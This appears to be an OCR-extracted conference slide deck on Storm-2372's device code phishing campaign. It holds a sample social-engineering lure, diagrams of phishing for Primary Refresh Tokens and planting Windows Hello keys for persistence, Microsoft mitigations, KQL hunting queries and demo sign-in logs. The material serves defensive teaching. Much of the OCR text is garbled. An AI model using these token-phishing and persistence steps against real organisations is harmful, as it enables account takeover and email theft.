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Darkening Clouds (Overview)




Original Reporting

Source Description References (URLS)
Microsoft Security Device code phishing since Aug 2024; token theft; use of Authentication Broker microsoft.com,
Blog client ID; PRT exploit industrialcyber.co
Cybersecurity Dive Lateral movement techniques; proxy usage; blocking device code flow cybersecuritydive.com
Rescana Phishing vectors; Graph API exploitation; mitigation practices rescana.com
Jeffrey Appel / Workflow visuals—from lure to token capture leffreyappel.nl
Volexity
Nox90 Technical escalation with PRT; comprehensive mitigation blueprint nox90.com
SOCRadar Emphasis on MFA bypass; strong mitigation controls and user training socradar.io
recommendation
Microsoft (May 2025 Risk-based Conditional Access; device join phishing; consent & identity hygiene microsoft.com
update) guidance
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https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/?utm_source=chatgpt.com
https://industrialcyber.co/ransomware/microsoft-details-russia-linked-cyberattacks-by-storm-2372-targeting-governments-ngos-critical-infrastructure/?utm_source=chatgpt.com
https://www.cybersecuritydive.com/news/phishing-campaign-targets-microsoft-device-code-authentication-flows/740201/?utm_source=chatgpt.com
https://www.rescana.com/post/rescana-cybersecurity-analysis-combating-storm-2372-phishing-risks-on-microsoft-systems?utm_source=chatgpt.com
https://jeffreyappel.nl/how-to-protect-against-device-code-flow-abuse-storm-2372-attacks-and-block-the-authentication-flow/?utm_source=chatgpt.com
https://www.nox90.com/post/critical-analysis-of-the-storm-2372-device-code-phishing-campaign-targeting-microsoft-authentication?utm_source=chatgpt.com
https://socradar.io/storm-2372-russian-apt-using-device-code-phishing-in-advanced-attacks/?utm_source=chatgpt.com
https://www.microsoft.com/en-us/security/blog/2025/05/29/defending-against-evolving-identity-attack-techniques/?utm_source=chatgpt.com

February 14, 2025 update: StOI'm'23 72

Within the past 24 hours, Microsoft has observed Storm-2372 shifting to using

the specific client ID for Microsoft Authentication Broker in the device code sign-

in flow. Using this client ID enables Storm-2372 to receive a refresh token that can |
be used to request another token for the device registration service, and then
register an actor-controlled device within Entra ID. With the same refresh token

and the new device identity, Storm-2372 is able to obtain a Primary Refresh Token
(PRT) and access an organization’s resources. We have observed Storm-2372
using the connected device to collect emails.

dirkjanm.io Posts Presentations

Phishing for Primary Refresh Tokens and Windows Hello keys

(12 minute read
w In Microsoft Entra ID (formerly Azure AD, in this blog referred to as "Azure AD"), there are different types of

Dirk-jan Mollema OAuth tokens. The most powerful token is a Primary Refresh Token, which is linked to a user’s device and
Hacker, red teamer, researcher. Likes to @ be used to sign in to any Entra ID connected application and web site. In phishing scenarios, especially
write infosec-focussed Python tools. those that abuse legit OAuth flows such as device code phishing, the resulting tokens are often less
This is my personal blog containing powerful tokens that are limited in scope or usage methods. In this blog, | will describe new technigues to
research on topics | find interesting, . . . . . .

g phish directly for Primary Refresh Tokens, and in some scenarios also deploy passwordless credentials that

such as (Azure) Active Directory
internals, protocols and vulnerabilities. comply with even the strictest MFA policies.

k&hs and Windows Hello keysDirk-jan Mollema.

&

“ October 2023: Phishing for Primary Reffesh ':::I'o



https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/

Storm-2372 (2/14/25)

Storm-2372 conducts device code phishing campaign

(Microsoft, 2/14/2025), which covers not just device code
phishing including but specific use of the Microsoft
Authentication Broker client id for stealth and evasion.

Threat actor
A

Threat actor asks service
for device code

Service response with
device code

P
|

Threat actor sends the
device code to the victim

O
O

RSAC
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Threat actor recovers the
access token

Service generates access
token

Victim enters code, user
name, password, and MFA
into legitimate service

Storm-2372 phishing lure and access

Storm-2372's device code phishing campaign has been active since August 2024.
Observed early activity indicates that Storm-2372 likely targeted potential victims
using third-party messaging services includindWhatsApp, Signal, and Microsoft ]
Teams, falsely posing as a prominent person relevant to the target to develop
rapport before sending subsequent invitations to online events or meetings via

phishing emails.

Jan 30, Thu

/He"o .

My name is [N 1 o
aresearcher at the International
Institute for Strategic Studies.
From February 24 to 26, the
Institute is holding a
videoconference on the topic
"The future of security in
Europe." We invite you to take
partin it.

Kind regards,

Associate Fellow for Conflict,

Security and Development, 1ISS
10:53

Nice to hear 2" 2% ™" nd you
aregistration link by email. After
registration, | will send you all
the necessary information about
the video conference. 13:27

Jan 31, Fri

Dear-, would it be

convenient for you if | sent the
link and details now? 12114

Dear-l can register you \

now if it is convenient for you.
12:08

Perfect, thank you! Please, send

the information / registration

form to my official email address
(I need it there

for the sake ot transparency, as
this is my private number) Thank
WLTELE 12:11 €@

I sent you a registration link and
a Security ID for access. For
security reasons, the ID is valid
for 15 minutes, if you do not
have time to enter it, | will send it

again. 12 30/

Figure 2. Sample messages from the threat actor posing as a prominent person and building rapport on

Signal

The invitations lure the user into completing a device code authentication request
emulating the experience of the messaging service, which provides Storm-2372
initial access to victim accounts and enables[Graph API data collection activities,]

such as email harvesting.

e

Microsoft Teams need heip?

Join the meeting

Meeting : 685 318 885 965

\ ID:CMUZKISCW

N



https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/
https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/
https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/

Storm-2372 (2/1 4/25) Storm-2372 phishing lure and access

Storm-2372's device code phishing campaign has been active since August 2024.
Observed early activity indicates that Storm-2372 likely targeted potential victims

February 14, 2025 update:

Within the past 24 hours, Microsoft has observed Storm-2372 shifting to using
the specific client ID for Microsoft Authentication Broker in the device code sign-

in flow. Using this client ID enables Storm-2372 to receive a refresh token that can
be used to request another token for the device registration service, and then

register an actor-controlled device within Entra ID. With the same refresh token

and the new device identity, Storm-2372 is able to obtain a Primary Refresh Token

(PRT) and access an organization’s resources. We have observed Storm-2372
using the connected device to collect emails.

Meeting : 685 318 885 965

Microsoft Teams need neip?
™ Join the meeting

© 2025 RSA Conference LLC or its affiliates. All rights reserved.
ID:CMUZKISCW



https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/
https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/
https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/

Phishing for Primary Refresh Tokens and Windows Hello keys

https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens (Dirk-jan Mollema, 10/10/2023)

Device Registration

Obtain OAuth tokens > Device

Microsoft E
Authentication ! o i Enrollment
Broker (MAB) | < O !’o‘ g ! Service (DES)

o g E refresh + access tokens
|
i
I I
Register/join device to Entra|ID —— | Device

e ' Registration

- | = !
| 2 ! « ;3:: ' Service (DRS)
- - E i d;evicrt E
A i i
Windows Hello for Business E Obtain PRT > E OAuth AZ u re

o i Token
< @ I Service

i

Primary refresh token E

User works (S50) =—




Phishing for Primary Refresh Tokens and Windows Hello keys

https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens (Dirk-jan Mollema, 10/10/2023)

Device Registration
Abuse

————— Obtain OAuth tokens > Device
4. Obtain OAuth 5. Refresh OAuth E I ¢
i token (DES) token (DRS) nrolimen
OAuth device « N Al A Service (DES)
code phish N\
0 o Microsoft refresh + access tokens
Authentication
1. Initiate device Broker (MAB) !
code flow Register/join device to EntraID — Device

2. Send phish
3. Wait for victim
to authorize

Registration

Service (DRS) / !

OAuth AZ U re

Token
Service

=,

device cert

e Obtain PRT >

Primary refresh token

o —  Access and Persistence ——————>

* Use PRT to access resources (SSO)
* Register new WHFB user key for persistence
* Create new PRTs



Phishing for Primary Refresh Tokens and Windows Hello keys

https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens (Dirk-jan Mollema, 10/10/2023)

Device Reglstratlon _
Abuse Keys to Attack:

OAuth device Assumed Application Identity Authorization Cloud Data, Compute, Users

code phish

: SSO & OAuth
o g Microsoft ' G Office 365 Conflicts
Authentication

1. Initiate device Broker (MAB) ! lateral

code flow ! Attacker movement(2]
2. Send phish

3. Wait for victim
to authorize

Office 365 ->
Azure

Username

[1] Dr. Nestori Syynimaa (@DrAzureAD), 10/13/20, User Password

[2] Ryan Marcotte Cobb, Tony Gore, 3/23/22, https: a’!glthub com/secureworks/family-of-client-ids-research © 2022 Jenko Hwong




Thunderstorms (Attack)




DEMO GODS,
| OFFER THIS
HAMSTER AS A

SACRIFICE

(screenshots at end)

/



https://boyter.org/static/gophercon-syd-presentation/

Phishing for Primary Refresh Tokens and Windows Hello keys

https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens (Dirk-jan Mollema, 10/10/2023)

Device Registration
Abuse

————— Obtain OAuth tokens > Device
4. Obtain OAuth 5. Refresh OAuth E I ¢
i token (DES) token (DRS) nrolimen
OAuth device « N Al A Service (DES)
code phish N\
0 o Microsoft refresh + access tokens
Authentication
1. Initiate device Broker (MAB) !
code flow Register/join device to EntraID — Device

2. Send phish
3. Wait for victim
to authorize

Registration

Service (DRS) / !

OAuth AZ U re

Token
Service

=,

device cert

e Obtain PRT >

Primary refresh token

o —  Access and Persistence ——————>

* Use PRT to access resources (SSO)
* Register new WHFB user key for persistence
* Create new PRTs



OAuth device code phish

Device Registration o

Abuse

Keys to Attack:

Assumed Application Identity

SSO & OAuth
] Office 365 Conflicts

lateral
movement(2

Attacker

Office 365 ->
Azure

OAuth
Tokens

A

. https://microsoft.com/... Azure

Username

[1] Dr. Nestori Syynimaa (@DrAzureAD), 10/13/20, User Password

[2] Ryan Marcotte Cobb, Tony Gore, 3/23/22, https://github.com/secureworks/family-of-client-ids-research © 2022 Jenko Hwong




Partly Cloudy (Defense)




Sto rm - 2 3 72 (2/1 4/2 5) The following best practices further help improve organizational defenses against

phishing and other credential theft attacks:

Mitigation and protection guidance - . o MFA
* Require multifactor authentication (MFA). While certain attacks such as

To harden networks against the Storm-2372 activity described above, defenders device code phishing attempt to evade MFA, implementation of MFA remains

can implement the following: CAP: block device code? an essential pillar in identity security and is highly effective at stopping a

variety of threats.
o Leverage phishing-resistant authentication methods such as FIDO
Tokens, or Microsoft Authenticator with passkey. Avoid telephony-bi
MFA methods to avoid risks associated with SIM-jacking.

o Block legacy authentication with Microsoft Entra by using_Conditional

¢ Only allow device code flow where necessary. Microsoft recommends Factor

blocking_device code flow wherever possible. Where necessary, configure

Microsoft Entra ID’s device code flow in your Conditional Access policies.
* Educate users about common phishing techniques. Sign-in prompts should  Train '

clearly identify the application being authenticated to. As of 2021, Microsoft Access. Legacy authentication protocols do not have the ability
Azure interactions prompt the user to confirm ("Cancel” or "Continue”) that enforce MFA, as legacy MFA (per-user MFA prompts) is suscepti (0
they are signing in to the app they expect, which is an option frequently abuse. |egacy
missing from phishing sign-ins. Revoke -« centralize your organization'’s identity management into a single pla auth
e |f suspected Storm-2372 or other device code phishing activity is identified, refresh your organization is a hybrid environment, integrate your on-premis
revoke the user’s refresh tokens by calling_revokeSigninSessions. Consider directories with your cloud directories. If your organization is using a third-
setting_a Conditional Access Policy to force re-authentication for users. token party for identity management, ensure this data is being logged in a SIEN
e Implement a sign-in risk policy to automate response to risky sign-ins. A ¢ connected to Microsoft Entra to fully monitor for malicious identity acces SS0
sign-in risk represents the probability that a given authentication request isn't from a centralized location. The added benefits to centralizing all identity
authorized by the identity owner. A sign-in risk-based policy can be data is to facilitate implementation of Single Sign On (SSO) and provide users
implemented by adding a sign-in risk condition to Conditional Access CAP: reauth with a more seamless authentication process, as well as configure Entra ID’s
policies that evaluates the risk level of a specific user or group. Based on the machine learning models to operate on all identity data, thus learning the
risk level (high/medium/low), a policy can be configured to block access or difference between legitimate access and malicious access quicker and easier.
force multi-factor authentication. CAE: risky It is recommended to synchronize all user accounts except administrative and
© When a user is a high risk and Conditional access evaluation is enabled, \;c@ars high priv.ileged ones when doing this to mair'wtain a bcufndary between the
the user’s access is revoked, and they are forced to re-authenticate. on-premises environment and the cloud environment, in case of a breach.

e Secure accounts with credential hygiene: practice the princip
privilege and audit privileged account activity in your Entra || least
to slow and stop attackers. priv

© For regular activity monitoring, use Risky sign-in reports, which surface
attempted and successful user access activities where the legitimate
owner might not have performed the sign-in.



Storm-2372 (2/14/25) Hunting queries

The following query can help identify possible device code phishing attempts: Microsoft Defender XDR

let suspiciousUserClicks = materialize (UrlClickEvents
| where ActionType in ("ClickAllowed", "UrlScanInProgress", "UrlErrorPage") or IsClickedThrough !'= "O"
| where UrlChain has_any ("microsoft.com/devicelogin", "login.microsoftonline.com/common/ocauth2/deviceauth")
| extend AccountUpn = tolower (AccountUpn)
| project ClickTime = Timestamp, ActionType, UrlChain, NetworkMessagelId, Url, AccountUpn) ;
//Check for Risky Sign-In in the short time window
let interestedUsersUpn = suspiciousUserClicks
| where isnotempty (AccountUpn)
| distinct AccountUpn;
let suspiciousSignIns = materialize (AADSignInEventsBeta
| where ErrorCode ==
| where AccountUpn in~ (interestedUsersUpn)
| where RiskLevelDuringSignIn in (10, 50, 100)
| extend AccountUpn = tolower (AccountUpn)
| join kind=inner suspiciousUserClicks on AccountUpn
| where (Timestamp - ClickTime) between (-2min .. 7min)
| project Timestamp, ReportId, ClickTime, AccountUpn, RiskLevelDuringSignIn, Sessionld, IPAddress, Url
)
//Validate errorCode 50199 followed by success in 5 minute time interval for the interested user, which suggests a pause to input the code
from the phishing email
let interestedSessionUsers = suspiciousSignIns
| where isnotempty (AccountUpn)
| distinct AccountUpn;
let shortIntervalSignInAttemptUsers = materialize (AADSignInEventsBeta
| where AccountUpn in~ (interestedSessionUsers)
| where ErrorCode in (0, 50199)
| summarize ErrorCodes = make_set (ErrorCode) by AccountUpn, CorrelationId, SessionId
l where ErrorCodes has_all (0, 50199)

|‘distinct AccountUpn) ;

suspiciousSignlIns
| where AccountUpn in (shortIntervalSignInAttemptUsers)



Storm-2372 (2/14/25) Hunting queries

Microsoft Defender XDR

This following query from public research surfaces newly registered devices, and
can be a useful in conjunction with anomalous or suspicious user or token activity:

CloudAppEvents
where AccountDisplayName == "Device Registration Service"
extend ApplicationId = tostring(ActivityObjects[0].ApplicationId)
extend ServiceName = tostring(ActivityObjects[0].Name)

extend DeviceName = tostring(parse_json(tostring(RawEventData.ModifiedProperties)) [1].NewValue)

extend Deviceld = tostring(parse_json(tostring(parse_ json(tostring(RawEventData.ModifiedProperties)) [6] .NewValue)) [0])
extend DeviceObjectId = tostring(parse_ json(tostring(RawEventData.ModifiedProperties)) [0] .NewValue)

extend UserPrincipalName = tostring(RawEventData.ObjectId)

project TimeGenerated, ServiceName , DeviceName, Deviceld, DeviceObjectId , UserPrincipalName

Microsoft Sentinel

Microsoft Sentinel customers can use the following queries to detect phishing
attempts and email exfiltration attempts via Graph API. While these queries are
not specific to threat actors, they can help you stay vigilant and safeguard your
organization from phishing attacks:

e Campaign with suspicious keywords

e Determine Successfully Delivered Phishing_Emails to Inbox/Junk folder.
e Successful Signin from Phishing_Link

e Phishing_link click observed in Network Traffic

e Suspicious URL clicked Anomaly of MailltemAccess by GraphAPI

e OAuth Apps reading_mail both via GraphAPI and directly,

e OAuth Apps reading_ mail via GraphAPl anomaly,




Artifact: Device Registration

Microsoft Azure L Search resources, services, and docs (G+/) @ Copilot @ €f§3 @ ,@

Home > Cloudy Daze | Devices > Devices

[ Devices | All devices

Cloudy Daze - Microsoft Entra ID

X « i Download devices O Refresh @ Manage view v Enable ® Disable ]E Delete £33 Manage & Preview features ,O\'_vl Got feedh
@ Overview
L Search by name or device ID or object ID N7 Add filters
LT All devices
> M 1 device found
anage
> Activity D Name 1. Enabled  OS Version Join type Owner MDM

» Troubleshooting + Support D m attacker-host @ Yes Windows 10.0.19041.928 Microsoft Entra reg... Merlin None




Artifact: User Key

User

‘ £ Search | «

><

Overview

Audit logs

O}

Sign-in logs

X

Diagnose and solve problems

s

Custom security attributes
4. Assigned roles

i Administrative units

45 Groups

z2¢ Applications

a Licenses

[J Devices

Azure role assignments

Authentication methods

Q

@ New support request

Merlin | Authentication methods

X
<+ Add authentication method P Reset password 6 Require re-register multifactor authentication ® Revoke multifactor authentication sessions
Authentication methods are the ways users sign into Microsoft Entra ID and perform self-service password reset (SSPR). The user's
“default sign-in method" is the first one shown to the user when they are required to authenticate with a second factor - the user
always can choose another registered, enabled authentication method to authenticate with. Learn more
Default sign-in method (Preview) O OATH TOTP one-time code &
Usable authentication methods
Authentication method Detail
Primary mobile: +° oo

Authentication method Detail

No non-usable methods.
System preferred multifactor authentication method

Feature status System preferred MFA method

Enabled SoftwareOTP

- ROAC

© 2025 RSA Conference LLC or its affiliates. All rights reserved.




Artifact: User Key

) Merlin | Authentication methods - X

User

2 Search

aa Overview

Audit logs

Sign-in logs

Diagnose and solve problems
Custom security attributes

Assigned roles

& Administrative units

Groups

= Applications

g Licenses

R

Devices
Azure role assignments
Authentication methods

New support request

# Request only the permission required for WHfB enumeration
$Scopes = @(
"UserAuthenticationMethod.Read.All"

—|— Add authenticatio

Authentication methods
“default sign-in method
always can choose anot

Default sign-in method

# Interactive / device-code capable sign-1in
Connect-MgGraph -Scopes $Scopes

Usable authenticatio

Authentication methd

# Query Windows Hello for Business authentication methods
$whfbMethods = Get-MgUserAuthenticationWindowsHelloForBusinessMethod
-UserId $UserUPN

Authentication methg

No non-usable metho Id

DisplayName
CreatedDateTime
KeyStrength

6CaZzdMLkBpoH5DA4jvQGIp47boPmQeaDVQ9-YwNKcY1

System preferred m

1/14/2026 4:07:37 PM
normal

Feature status

Deviceld

Enabled

- ROAC
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Sign-in Logs

InterafiDate (UTC) User agent [« D L Incoming Auth Original transfer n Token Application Application ID  App owner tena Resource Resource 1D Resource tenan Resource owi Home tenant ID IP address  Clientapp  Device ID Join Type Session ID

INT  B2026-01-11T04:22:06Z2 Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48¢6-9¢ joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker 29d9ed98-a469-4536-ade2-f981b Microsoft Intune Enroliment ddebce55-015a- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
INT §2026-01-11T04:22:082 Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48c6-9¢ joe@acme.com none  deviceCode deviceCodeFlow 1002 Microsoft Authentication Broker 29d9ed98-a469-4536-ade2-f981b Microsoft Intune Enroliment ddebce55-015a- f7c¢94902-1b79- f8cdef31-a31 7c94902-1b79-4 216.9.110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
NON [§2026-01-11T04:22:112 Mozilla/5.0 (Macintosh; Darwin 84a5fad0-95d5-48c6-9¢ joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker 29d9ed98-a469-: fBcdef31-a3le-¢ Microsoft Intune Enrollment ddebce55-015a- f7¢34902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
NON §2026-01-11T04:. Mozilla/5.0 (Macintosh; Darwin 19a0896e-65b3-418a-8 joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker  29d9ed98-a469-4536-ade2-f981kb Device Registration Service 01cb2876-7ebd- f7c34902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
NON §2026-01-11T04:22: python-requests/2.32.3 c471ae6c-d313-4f14-9€ joe@acme.com none  none deviceCodeFlow Microsoft Authentication Broker  29d9ed98-a469-4536-ade2-f981b Windows Azure Active Directory 00000002-0000- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9c664-7ec3-4e9b-bfb' Azure AD registered 003ebe99-e706-2d22-8566-f997b51e9d9b
INT [§2026-01-11T04:22:23Z Mozilla/5.0 (Windows NT 10.0; dd723956-bd70-46ab-b joe@acme.com  primaryl none deviceCodeFlow Microsoft Device Registration Cliel dd762716-544d-4aeb-a526-687b: Device Registration Service 01cb2876-7ebd- f7¢94902-1b79- f8edef31-a31 f7c¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9cb64-7ec3-4e9b-bfb: Azure AD registered 003ebe99-e706-2d22-8566-f997h51e9d9b
NON W2026-01-11T04:22:252 python-requests/2.32.3 ae9af460-0b49-4a42-bl joe@acme.com none  none deviceCodeFlow Microsoft Device Registration Cliei dd762716-544d- f8cdef31-a31e- Device Registration Service 01cb2876-7ebd- f7c94902-1b79- f8edef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps 8ce9dc664-7ec3-4e9b-bfb: Azure AD registered 003ebed9-e706-2d22-8566-f997b51e9d9b
INT [2026-01-11T04:22:292 python-requests/2.32.3 d8c908e7-f357-42e2-9¢ joe@acme.com none  none none Windows Sign In 38aa3b87-a06d-4817-b275-7a31¢ Windows Azure Active Directory 00000002-0000- 7c¢94902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9dc664-7ec3-4edb-bfby Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4
INT [§2026-01-11T04: Mozilla/5.0 (Windows NT 10.0; 92c3e55a-674d-60b2-a: joe@acme.com  primaryf none none Office 365 Exchange Online '00000002-0000-( fBcdef31-a31e-¢ Office 365 Exchange Online 00000002-0000- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser 8ce9c664-7ec3-4e9b-bfb Azure AD registered 003ebe$9-258a-3aa0-c23e-69d45d879cd4

INT  §2026-01-11T04; Mozilla/5.0 (Windows NT 10.0; f37ad3e5-4409-0613-dl joe@acme.com  primaryf none none One Outlook Web 9199bf20-a13f-4 f8cdef31-a3le- Office 365 Exchange Online 00000002-0000- f7c¢34902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser Bce9c664-7ec3-4e9b-bfb' Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d87%cd4
NON §2026-01-11T04:22:362 0824e26d-c658-6c9f-4¢ joe@acme.com none  none none Office 365 Exchange Online 00000002-0000-( fBcdef31-a31e-z Office 365 Exchange Online 00000002-0000- f7c¢34902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 2603:1036:5:c Browser 8ce9c664-7ec3-4e9b-bfb' Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cdd
NON [§2026-01-11T04: Mozilla/5.0 (Windows NT 10.0; f97ad3e5-4409-0613-dl joe@acme.com  none none none 1008 One Outlook Web 9199bf20-a13f-4 f8cdef31-a31e-« Office 365 Exchange Online 00000002-0000- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser 8cedc664-Tec3-4e9b-bfb: Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4d
NON §2026-01-11T04. 261665de-c209-89a8-a joe@acme.com none  none none 1008 Office 365 Exchange Online 00000002-0000-( f8cdef31-a31e-« Office 365 Exchange Online 00000002-0000- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser 8cedc664-Tec3-4e9b-bfb: Azure AD registered 003ebe$9-258a-3aa0-c23e-69d45d879cd4d

NON [§2026-01-11T04 Mozilla/5.0 (Windows NT 10.0; 10434950-92e5-492{-0; joe@acme.com none  none none 1008 One Outlook Web 9199bf20-a13f-4 f8cdef31-a3le- Office365 Shell WCSS-Server 5f09333a-842c-¢ {7c¢94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser 8ce9ch64-7ec3-4e9b-bfby Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4

NON §2026-01-11T04:22: Mozilla/5.0 (Windows NT 10, 71d780e-bbf5-af5e-28 joe@acme.com none  none none 1008 One Outlook Web 9199bf20-a13f-4 fBcdef31-a3le-: Microsoft Graph 00000003-0000- f7¢94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser 8ce9c664-7ec3-4e9b-bfb' Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4
NON §2026-01-11T04:22:402 298281e6-9c54-467-8¢ joe@acme.com  none none none 1005 My Apps 2793995e-0a7d-« fBcdef3l-a3le-« Microsoft Graph 00000003-0000- f7c34902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser 8ce9dchb4-7ec3-4edb-bfby Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4
NON §2026-01-11T04:22:40Z Mozilla/5.0 (Windows NT 10.0; 81a4cB8a-9252-e3f2-bt joe@acme.com none  nane none 1008 One Outlook Web 9199bf20-a13f-4 fBcdef31-a3le-s Microsoft People Cards Service  394866fc-eedb-¢ f7c94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12 Browser Bce9ch64-7ec3-4e9b-bfbr Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4
NON 554cdfd8-1612-4bb3-al joe@acme.com  none none none 1008 Office365 Shell WCSS-Server 5f09333a-842c-4 fBcdef3l-a3le-« My Apps 2793995e-0a7d- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser B8ce9cb64-7ec3-4eSb-bfb Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879¢cd4
NON 554cdfd8-1612-4bb3-al joe@acme.com  none none none 1008 Office365 Shell WCSS-Server 5f09333a-842c-4 fBcdef3l-a3le-« Power Platform API 8578e004-a5c6- f7c94902-1b79- f7c94902-1b79-4 216.9.110.12 Browser B8ce9cb64-7ec3-4eSb-bfb Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4
NON N2026-01-11T04:22:40Z Mozilla/5.0 (Windows NT 10.0; c¢5325ede-042b-63bb-b joe@acme.com  none none none 1008 One Outlook Web 9199bf20-a13f-4 fBcdef31-a3le-¢ IrisSelectionFrontDoor 16aeb910-ce68- f7c94902-1b79- §7c¢94902-1b79-4 216.9.110.12 Browser 8ce9c664-7ec3-4e9b-bfb' Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cdd
NON [§2026-01-11T04:22:407 /5.0 (Windows NT 10.0; f0965755-80ab-de0a-d! joe@acme.com  none none none 1008 One Outlook Web 9199bf20-a13f-4 fBcdef31-a3le-z Augmentation Loop 4354e225-50c9- f7c94902-1b79- §7c¢94902-1b79-4 216.9.110.12 Browser 8ce9c664-7ec3-4e9b-bfb' Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cdd
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Sign-in Logs

Interal
INT
INT
NON
NON
NON
INT
NON
INT
INT
INT
NON
NON
NON

Date (UTC) User agent Correlation ID Usemame Incominy Authenticati Original transfer n Token Application Application ID  App owner tena Resource Resource ID Resource tenan Resource owi Home tenant ID IP address

[2026-01-11T04:22:062  Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48¢6-9¢ joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker  29d9ed98-a469-4536-ade2-f981b Microsoft Intune Enrollment ddebce55-015a- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12
2026-01-11T04:22:082  Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48¢6-9¢ joe@acme.com none  deviceCode deviceCodeFlow 1002 Microsoft Authentication Broker  29d9ed98-a469-4536-ade2-f981k Microsoft Intune Enrollment ddebce55-015a- f7¢94902-1b79- f8edef31-a31 7c94902-1b79-4 216.9.110.12
2026-01-11T04:22:11Z2 Mozilla/5.0 (Macintosh; Darwin 84a5fad0-95d5-48c6-9¢ joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker 29d9ed98-a469-: fBcdef31-a3le-: Microsoft Intune Enrollment ddebce55-015a- f7c¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
2026-01-11T04:22:122  Mozilla/5.0 (Macintosh; Darwin 19a0896e-65b3-418a-8 joe@acme.com none  none deviceCodeFlow 1002 Microsoft Authentication Broker ~ 29d9ed98-a469-4536-ade2-f981b Device Registration Service 01cb2876-7ebd- f7¢34902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 216.9.110.12

1b79-4 216.9.110.12
2-1b79-4 216.9.110.12
1b79-4216.9.110.12
2-1b79-4 216.9.110.12
2-1b79-4 216.9.110.12
2-1b79-4 216.9.110.12

Ask Learn | 63 Focus mode | In this article

| Types of linkable identifiers
Linkab i

Track and investigate identity activities
with linkable identifiers in Microsoft Entra

2-1b79-4 216.9.110.12
2-1b79-4 216.9.110.12
2-1b79-4 216.9.110.12

) k70 491619010

Web browser cookies

~ Ho ides

Manage authentication methods Microsoft embeds specific identifiers in all access tokens that enable the correlation of ties back to a

Ternporary Access Pass single root authentication event. These linkable identifiers are surfaced in customer-facing logs to support
y Access Pass

B T threat hunters and security analysts in investigating and mitigating identity-based attacks. By using these
an phishing- ant MFA

identifiers, security professionals can more effectively trace, analyze, and respond to malicious activity acro:

> Account recovery

sessions and tokens, enhancing both the transparency and security of the environment.

> Microsoft Entra multifactor authentication

Enable QR code auth method

Types of linkable identifiers

> Use ased authentication

Use email ess sign- 0 a o g I a ai E scripti
e Ea There are two types of linkable identifiers used to support advanced identity investigation and threat Claim Format Description

Use Microsoft managed settings hunting scenarios: session ID-based identifiers and unique token identifiers
oid GUID The

principal. Th

Security info String, a imutable identif

» Self-service password reset

Session |ID-based identifiers

> On ord protection .
e . ) P B . _ . String, a
Microsoft Entra An identifier based on session ID (SID-based identifier) enables correlation of all authentication artifacts sug

String, a Represents
interactiv
https://learn.microsoft.com/en-us/entra/identity/authentication/how-to-authentication-track-

linkable-identifiers

root authentication.

deviceid String, a

applicati

String
sensitive.

cifies
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Client app
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Browser
Browser

